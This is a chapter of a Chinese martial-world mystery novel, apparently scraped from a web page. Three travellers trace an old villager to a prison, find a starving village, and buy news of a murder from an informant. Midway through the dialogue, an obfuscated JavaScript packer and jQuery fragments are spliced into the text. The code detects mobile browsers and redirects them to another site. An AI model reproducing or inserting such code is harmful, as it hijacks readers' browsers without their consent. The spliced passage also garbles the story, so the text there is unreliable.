老蒋头拖着腿脚，走得极慢。


    这汾滨城以岛为城。汾滨岛北侧是曲挽河，南侧是嘉湖，一河一湖在岛东交汇，只在岛西留有一段不宽的滩涂，是汾滨城的唯一入口。


    沿着河岸建有一圈城墙，将整个岛都划为汾滨城的地界。所以同其他城市周围零散分布些村庄的情况不同，汾滨的主城与村落，都被城墙包在这座地域极广的孤岛上。


    饶是村庄距城区不远，老蒋头也是过了午时才入的城。


    三人跟着他一路向东，穿过四条长街，越走越冷僻，最终来到一座石砌建筑前。


    建筑上挂一牌匾，匾上赫然写着“牢狱”二字。


    老蒋头呆立在那，木然望着那牌匾。片刻后，回身向左走开。


    顺着建筑外墙转过一道弯，再前行数十步，便可见一道逼仄小门。


    一名狱卒打扮的男子正侯在那里，似乎在等他。


    待老蒋头终于慢慢挪到门前，狱卒警惕地环顾四周，随后领着老蒋头矮身钻入门内。


    三人找好隐蔽处，在狱外耐心等待。


    出乎预料的快。


    不到一刻钟，老蒋头独自钻出来，双手空空，又慢慢踏上返程。


    此时已近黄昏。


    李遇他们商量一番，抢先赶回。他们取上马车，直奔峰脚村。


    说起来，这老蒋头的茅屋就在峰脚村地界，只不过是最远的一户。


    甫一入村，虽说是庄户人口多了起来，但四处都透着一股沉沉死气。


    不论是田间干活的农民，还是编筐结草的老妪，见有马车经过，俱是停下手里的活，一瞬不瞬地盯着他们，直到警惕地目送他们离开。


    “你不觉得这里很奇怪吗？”李遇对驾车的黎崇道。


    “是很奇怪，他们好像对我们很有戒心。而且这戒心，远远超过了对陌生人应有的程度。”


    “没错。”南宫连朔挑着车帘，“再者，这里的村民，似乎个个都瘦骨嶙峋。”


    前头田埂边，一名四五岁模样的男孩坐在地上，正专心致志地摆弄泥土。


    李遇远远瞧见，对黎崇道：“等一下。”


    为不惊吓到小孩，马车并未靠近，而是在一段距离外悄声勒住。


    李遇跳下车，缓步靠近，随后蹲到男孩身侧，柔声道：“小弟弟，在玩什么呀？”


    男孩闻声转过头来，那一刻，李遇的心不禁猛地一颤。


    只见他双颊深陷，眼球凸出，身上的麻布衣裳破旧不堪，仅能勉强遮体。裸露在外的四肢纤细瘦弱，骨骼轮廓清晰可见。


    那男孩眨巴着过大的双眼，扬起一抹天真笑容：“堆土包，姐姐你要玩吗？”


    “好呀，姐姐我……”不等李遇把话说完，男孩便被一只干瘪的手臂迅速捞起。惊愕抬头间，一名形容枯槁的女人瞪着无神的双眼抱起男孩，匆匆跑开。


    与那妇女对视不过一瞬，李遇便看清了她眼底浓烈的敌意。


    男孩趴在妇女肩头，依在枯黄的头发上，笑着向李遇挥挥手。


    那笑容纯真无邪，她却感觉到一股难以言喻的凄凉。


    直到目送他们远去，李遇才回到车上，沉声说：“走吧，村里打听不到消息。”


    三人回城，在客栈内用过晚饭后，已过子时。但三人全无睡意，聚在黎崇房内思考着白天的事情。


    黎崇靠在窗边，盯着月色出神，许久后，说出心中疑虑：


    “这件事情不论怎么看，都是怪透了。即便是蒋前辈的亲友犯了罪，关押于牢狱，但牢内一向允许探监，怎么都不该偷偷摸摸地去。还有放他通行的狱卒也很奇怪，明显是怕被人发现。但单从蒋前辈家中情况来看，他并没有贿赂狱卒的能力。”


    李遇趴在桌子上，满脑子都是白天那道骨骼突出的小小身影，以及他清澈不谙世事的眼睛，心里不是滋味。


    思谋了一圈，黎崇又接着道：“若那狱卒是蒋前辈的子侄……也说不通。狱卒虽说不是多大的职衔，但也是吃朝廷俸禄的，以峰脚村村民的生活状况来看，并不可能有这样身份的子侄。”


    “那就只剩下一种可能，这狱卒与蒋前辈所探望之人有关系。可当时那名狱卒明显是偷放蒋前辈进去，是什么样的关系，能让一名狱卒冒着丢饭碗的风险相帮呢？情人？朋友？可为何允许探监，二人还要偷偷摸摸呢？是去害那囚犯？还是另有什么隐情？”


    “而且，”南宫连朔抱着剑走到黎崇对面，“这汾滨城虽说不是大秦境内数一数二的富庶之地，但此地以花柳产业闻名，税收相当宽裕。再加上河道环绕，土地肥沃，没有道理整村的百姓过得比流民还凄惨。”


    黎崇赞成地点点头：“但峰脚村的人明显对外人抱有强烈戒心，到底发生了什么，从他们嘴里是听不到了。”


    “打听不到的消息，咱们还可以买到。”


    “买？”


    南宫连朔指尖轻点剑鞘：“你们或许听说过，有个职业，叫包打听。”


    第二日一早，三人在客栈内向跑堂问过本地茶水街的位置，出门直奔目的地。


    茶楼前，三人面向招牌，黎崇与李遇提步便要进去，却被南宫连朔拉住。


    黎崇不解道：“怎么？你不是说喝茶歇脚的地界口杂，能问出包打听的道儿吗？”


    南宫连朔抬眼望向茶楼气派的门匾，轻笑一声：”这一看便是富贵官绅常去之处，下九流的道儿，在这可找不着。咱们要去的地方，”说着，回手指向半街之隔的茶水摊子，“是那儿。”


    虽说只隔半街，两边气象却大不相同。


    茶楼为街首，茶摊在街尾。


    一半川流香车不绝。


    一半来去皆着粗衣。


    待在摊内竹凳坐下，小二摆上三只大海碗，满倒浓浓茶水，没什么招呼，便接着忙去了。


    南宫连朔暗暗观察一周，心下有了计较。


    同李遇与黎崇低声说了句话，随后起身，走至背后矮桌。


    他在空位上熟稔坐下，朝桌上二人一拱手：“合字儿，合吾。”


    那二人听罢，虚还一礼。


    “掉瓢儿，火点，盘海底，春点。”


    那二人回头看了李遇与黎崇一眼后，对南宫连朔道：“姜铺街，邱家班，邈爷。”


    “多谢。”


    得了消息的三人即刻动身，向姜铺街去。


    路上，黎崇凑到南宫连朔身边，用手肘推了推他。


    “南宫，刚刚你说的，就是黑话？”


    “对。”


    “什么意思，你给我讲讲。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13835256|145301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    南宫连朔一边带着路，一边耐心解释道：


    “我见那二人刀不离身，身上却无杀伐之气，便猜想他们二人是镖师。别看我们做的是打打杀杀的行当，但镖局的准则一向是以和为贵。这手持刀剑的，一身锋锐的是侠客，一派和气的是镖师，唯唯诺诺的是护卫，见谁都先打量一番的，是捕快。”


    “方才我先头说：合字儿，合吾。是为了印证我的猜想，也是亮明身份、套关系。合字儿，算是打招呼，相当于，兄弟朋友。合吾，是镖师内的行话，算是表明咱们是一条道儿上的。”


    “他们回礼，便算认同。后来说的掉瓢儿、火点和盘海底、春点。掉瓢儿意为回头，火点是雇主，盘海底是找消息，春点是指条路。连在一起，便是：回头看，后面的是我雇主，我想找点消息，请二位指条路。”


    黎崇听着，眼睛发亮。


    “有趣。南宫，有时间你教教我。”


    “没问题！”


    说着话，几人便到了姜铺街邱家班。


    邱家班是戏曲班子，还未踏入院中，月琴梆子声先出。


    入门是一四方院，往来尽是些着短褂的小伙。


    再向内，一间大开间，扮上未扮上的角零散坐在各处。


    一名蓄山羊胡的中年男人迎上来，暗暗打量一番，随即换上副笑脸：“三位，此处乃我邱家班下处，还请莫要再入内。”


    南宫连朔客气道：“我等来此，为寻邈爷，还请带路。”


    那中年男人眼珠子滴溜一转，这但凡是稍微有些经验的江湖油子，都能看出几人定是出身不凡，遂道：


    “哎呦，诸位，不巧了，今儿邈爷身体抱恙，一时半会的，恐怕……”


    “我说你这钱老印儿，要刮油便刮油，咒我做甚！”


    一道尖刻男声从山羊胡身后传出，显然正在门后。


    被戏为“钱老印儿”的山羊胡却并不在意，坦然地掸掸袖子，一拱手：“诸位，那便请吧。”


    言毕，抬脚走了。


    几人推门入内，便见门后是一逼仄天井，三面围门，一面为墙。


    此处阴湿，砖缝里冒着青苔。靠墙摆一竹木摇椅，旁配一小桌，上搁一毛桃。而那邈爷，却坐在地下。


    见三人进来，他抬眼瞄了瞄，嗤笑一声：“诸位来此，所问何事。”


    南宫连朔抱拳作礼：“闻得邈爷大名，还望解惑。不知这峰脚村，近日可发生了什么大事？”


    邈爷闻言，状似意外地又将三人打量一番：“大事有一件，在邈爷这却是小事。咱邈爷定价向来公道，不会看人下菜碟儿。五文。”


    黎崇随即掏出五枚铜钱，搁在方桌上。


    “此事并非什么隐秘，说起来也很简单：峰脚村蒋大通看上同村梅柳花，夜半潜入其家，用强不成怒杀梅柳花全家。”


    “蒋，大通。”三人对视一眼。


    黎崇追问道：“此事何时发生？蒋大通又是以何种手段行凶？”


    “三日前发生，半月后问斩。至于杀人方法嘛，勒死的呗。事后又将梅柳花同她父母悬于梁上，伪造成自杀。”


    “多谢。”


    三人正欲离开，却被邈爷出声拦下。


    “邈爷我还有一句，要价一两的忠告，各位可有兴趣买下？”